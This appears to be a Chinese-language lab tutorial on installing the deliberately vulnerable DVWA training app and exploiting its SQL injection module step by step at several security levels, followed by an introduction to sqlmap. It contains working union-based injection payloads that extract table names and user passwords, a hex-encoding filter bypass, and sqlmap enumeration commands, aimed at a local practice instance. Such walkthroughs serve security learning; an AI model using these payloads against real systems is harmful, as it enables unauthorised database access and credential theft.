DVWA是一款基于PHP和MYSQL开发的web靶场练习平台,集成了常见的web漏洞如sql注入,XSS,密码破解等常见漏洞。旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块:
Brute Force(暴力(破解))
Command Injection(命令行注入)
CSRF(跨站请求伪造)
File Inclusion(文件包含)
File Upload(文件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)
一般情况下,DVWA一共有四种安全级别,分别为:
Low、Medium、High、Impossible
phpstudy下载地址小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)
下载完后双击压缩包中的应用程序
选择路径,这里我存储在D盘中
然后就安装成功了
DVWA的官网DVWA - 该死的易受攻击的Web应用程序
将其解压到PHPstudy路径下的PHPTutorial下的WWW目录下
解压后进入DVWA下的config文件打开config.inc.php文件
将p@ssw0rd 修改为 root
然后在浏览器中访问http://127.0.0.1/DVWA-master/setup.php,然后点击网站下方的Create/Reset Database按钮
接着会跳转到DVWA的登录页面默认用户名:admin 默认密码:password 成功登录
就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。
(1)数字型 (2)字符型 (3)报错注入 (4)Boollean注入 (5)时间注入
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数
(3).确定回显位置
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据
(1)注释符号绕过 (2)大小写绕过 (3)内联注释绕过
(4)特殊编码绕过 (5)空格过滤绕过 (6)过滤or and xor not 绕过
SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞。
web 开发人员无法保证所有的输入都已经过滤
攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中)
数据库未做相应的安全配置
(1)判断注入类型,是数字型注入,还是字符型注入
我们输入1,看到正确返回值
我们输入1',看到报错了
我们可以猜出到是字符型注入,我们继续输入1' and '1' ='1和1' and '1'='2。
我们根据id=1’报错和id=1’ and ‘1’=’1正确,我们可以知道是字符型注入,查看源代码知道就是字符型注入。
(2)判断字段数 order by
我们使用order by 进行判断字段数, 至到order by 进行报错时候就是字段数
id=1' order by 1#没有报错
id=1' order by 2# 没有报错
id=1' order by 3#时报错了,说明字段只有2列
(3)判断回显位置 union select 1,2#
可以知道回显位置 在这二个地方
(4)判断数据库 union select 1,database()#
(5)获取表名 1' union select 1,group_concat(table_name) from information_schema.tables where 获取字段名 tables_schema=database()#
(6)获取字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
(7)获取数据 1' union select user,password from users #
(1)判断注入类型 我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入
我们输入id=1' and '1'='1看见报错了,输入id=1 and 1=1没有报错。
所以注入类型为数字类型
(2)判断列数
我们知道列数为2列
(3)判断回显位置
我们可以知道回显位置是2
(4)判断数据库
(5)判断表名
(6)判断列名
我们输入users之后,发现没有如何反应
通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572
(7)获取数据
(1)判断注入类型
我们可以知道是字符型注入
(2)判断列数
列数为2列,我们可以发现high级别和low级别的步骤是一样的,所以我在这里就不写了,可以参考low级别的步骤就行了
我们在讲SQL Injection (Blind)之前,先讲一下什么是sqlmap注入。
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
Sqlmap采用了以下5种独特的SQL注入技术
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap -h
sqlmap的使用方法:sqlmap -u url 是对网站进行注入
sqlmap -r 是对文件进行注入
这里我们对SQL Injection的low级别进行sqlmap,具体过程我写在了图片上面
1.low级别
(1)我们先进行抓包
(2)然后使用sqlmap
(3)爆破数据库 --dbs
(3)爆破表名 -D 'dvwa' --tables
(4)爆破字段名 -D 'dvwa' -T ' guestbook' --columns
(5)爆破数据
后面的我们都可以使用sqlmap进行注入,所以后面的就在这里不讲解了。